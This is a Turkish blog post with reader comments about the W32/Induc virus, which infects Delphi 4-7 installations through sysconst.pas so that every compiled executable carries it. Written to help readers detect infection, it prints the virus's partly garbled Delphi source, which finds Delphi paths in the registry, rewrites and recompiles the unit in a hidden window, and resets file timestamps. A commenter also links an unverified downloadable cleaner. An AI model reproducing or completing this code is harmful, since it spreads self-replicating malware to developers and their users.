W32/Induc virüsü Delphi’ye bulaşıyor
Delphi’nin Syscons.dcu veya sysconst.pas dosyasına bulaşan bir virüs peydah oldu.
Kaspersky’da adlandırması Win32.Induc.a olarak geçiyor, kendisini sysconst.pas’a include etmek sureti ile bulaşıyor.
Böylelikle her derlemede exe içerisinde virüscük de yaşamaya devam ediyor.
Bu durumda önce virüs temizliği sonra mutlaka delphi’ı kaldırıp tekrar kurmak lazım (ben öyle yaptım).
Evet ne yazıkki sisteminizde hiç virüs olmasa da kullandığınız ücretsiz full open source komponentler de ne yazıkki virüse neden olabiliyor.
Her yüklediğimiz yeni komponeneti bir de kod kontrolünden geçirmek lazım sanırım.
Virüslü olup olmadığınız anlamak için sysconst.pas içinde aşağıdaki kodlar var mı yok mu bakmak gerekiyor. Tabi bu sadece bu türün bir türevi ise dışarıdan aldığımız her komponenti incelemek de şart.
Delphi 4-7 geliştirme ortamına bulaşan virüs varyantının kodları aşağıdaki gibi.
uses windows;
var sc:array[1..24] of string=(
function x(s:string):string;
var i:integer;
begin for i:=1 to length(s) do
if s[i]" =#36 then
s[i]:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);
if h<>DWORD(-1) then begin
CloseHandle(h);
exit;
end;
{$I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then exit;assignfile"
(f2,d+$pas$);
rewrite(f2);
if ioresult<>0 then begin
closefile(f1);
exit;
end;
while
not eof(f1) do begin
readln(f1,s);
writeln(f2,s);
if pos($implementation$,s)<>0 then break;
end;
for h:= 1 to 1 do writeln(f2,sc[h]);
for h:= 1 to 23 do writeln(f2,$$$$+sc[h],$$$,$);
writeln(f2,$$$$+sc[24]+$$$);$);
for h:= 2 to 24 do writeln(f2, x(sc[h]));
closefile(f1);
closefile(f2);
{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$));
fillchar(f,sizeof(f),0); f.cb:=sizeof(f);
f.dwFlags:=STARTF_USESHOWWINDOW;
f.wShowWindow:=SW_HIDE;
b:=CreateProcess(nil,pchar(e+$""$+d+$pas""$),0,0,false,0,0,0,"f,p);
if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$), pchar(d+$dcu$));
DeleteFile(pchar(d+$pas$));
h:=CreateFile(pchar(d+$bak$),0,0,0,3,"0,0);
if h=DWORD(-1) then exit;
GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);
h:= CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);
if h=DWORD(-1) then exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var k:HKEY;
c:array [1..255] of char;
i:cardinal; r:string; v:char;
begin for v:=$4$ to $7$ do
if RegOpenKeyEx( HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then
begin i:=255;i
if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin
r:=$$;
i:= 1;
while c[i]<>#0 do begin
r:=r+c[i];inc(i);
end;
re(r+$\source\rtl\sys\SysConst$+$.pas$,r+$\lib\sysconst.$,$$+r+$\bin\dcc32.exe"" $);
end;
RegCloseKey(k);
end;
end;"
//main code
begin st; end."
Kaynak: kontrolkalemi.com
delphi assignfile ne işe yarar (2), delphi sysconst bak temizleme (2), win32 induc b (1), win32 ınduc a temizleme (1), şafak yüksektepe delphi (1), şafak yüksektepe (1), induc virüs nedir (1), induc virus (1), induc a virus nedir (1), delphi virüslü derliyor (1), win32 induc virus (1)
Turkish
English
Chinese

Virüs statüsünde değerlendirilmiş birçok varyantı var. Bulaşabilen birşey sonuçta…
format atmaya gerek yok!
IDE’ye bulaşan virüs delphi projelerininin derlenmesi(compile) sırasında uygulamanızın içine kendini yazıyor..
yaptığınız projelerde antivirüs programları tarafından virüs olarak algılanıyor baya bir uğraştım bununla ilgili..
bu virüs sadece delphi projelerini hedef alıyor..
sorunu çözdüm..
birde işinize yarar diye bir ufak ugulama yazdım “IDE” üzerinden virüsü temizliyor..
Yükleme Adres :
http://rs709.rapidshare.com/files/269862378/D7_IDE_Cleaner.rar
Kolay gelsin..
Uygulamanızı paylaştığınız için teşekkür ederim.
derlediğim exe ler içinde bu virusun delphi kodunu gördüm exe nin içinde böyle bir delphi kodu ne ariyor diye araştırırken, exe içindeki kodu sistemde arattığımda sysconst.pas ın içersinde olduğunu gördüm, orjinalinden geri yükledim sorun çözüldü, exe içersinde text olarak duruyordu, zannediyorum binary olarak exeye eklenmiyor.